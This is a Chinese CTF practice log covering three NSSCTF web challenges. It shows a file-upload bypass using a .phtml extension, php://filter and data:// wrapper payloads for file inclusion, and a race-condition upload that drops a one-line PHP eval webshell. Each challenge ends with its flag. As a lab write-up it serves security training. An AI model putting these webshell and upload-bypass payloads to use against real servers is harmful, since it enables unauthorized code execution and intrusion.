刷题2025.3.15
题目来源:NSSCTF平台
[TOC]
[SWPUCTF 2021 新生赛]easyupload2.0
考点:文件上传绕过
进行文件上传测试,首先上传jpg文件,然后抓包改成php文件,结果提示php文件不能上传。
上传htaccess文件也不行,于是改成后缀为phtml。
phtml也会被当成php解析。
发现上传成功,用蚁剑连接,找到flag.
NSSCTF{76333d4d-efe1-4a18-acf5-09bd35c8ca3b}
[SWPUCTF 2021 新生赛]PseudoProtocols
考点:PHP伪协议,文件包含
先扫一下目录,发现什么都没有,然后看到需要传参,又要读取hint.php,使用filter伪协议
1 | php://filter/read=convert.base64-encode/resource=/var/www/html/hint.php |
得到一串base64,解码
1 | PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4= |
直接访问/test2222222222222.php
直接使用data协议绕过file_get_contents函数
1 | /?a=data://text/plain;base64,SSB3YW50IGZsYWc= |
NSSCTF{74d9bfc7-cdff-4a86-a6c0-f76568061d63}
[FSCTF 2023]加速加速
考点:条件竞争
先把后缀改成.jpg拿到对方保存文件的路径,为当前路径下的upload目录里。
看见标签是条件竞争,那就按照条件竞争的方法去做。
先创建一个jz-cmd.php文件,运行创建cmd.php文件并写入一句话木马的命令。
1 | <?php $f=fopen("cmd.php","w"); fputs($f,'<?php @eval($_POST[cmd]);?>');?> |
先抓取上传文件的数据包,再抓取访问upload文件夹里的jz-cmd.php这两个数据包;虽然上传jz-cmd.php是不被允许的,但其实这个文件在服务器上有存在过,只是很快就被删除了。所以我们用BP疯狂发包访问upload文件夹下的jz-cmd.php文件是道理的。而只要此jz-cmd.php被访问成功,就会在upload文件夹里创建cmd.php这个后门文件。
具体操作就是抓取上传和访问的数据包,然后将他们都放入intruder中,设置如下:
然后就先攻击发送的数据包,再攻击读取(读取cmd.php)的数据包。读取的包出现200,且浏览器能正常访问,说明一句话木马就写入进去了,用蚁剑连接找到flag。
FSCTF{p@ti0ns_15_key_1n_1ife}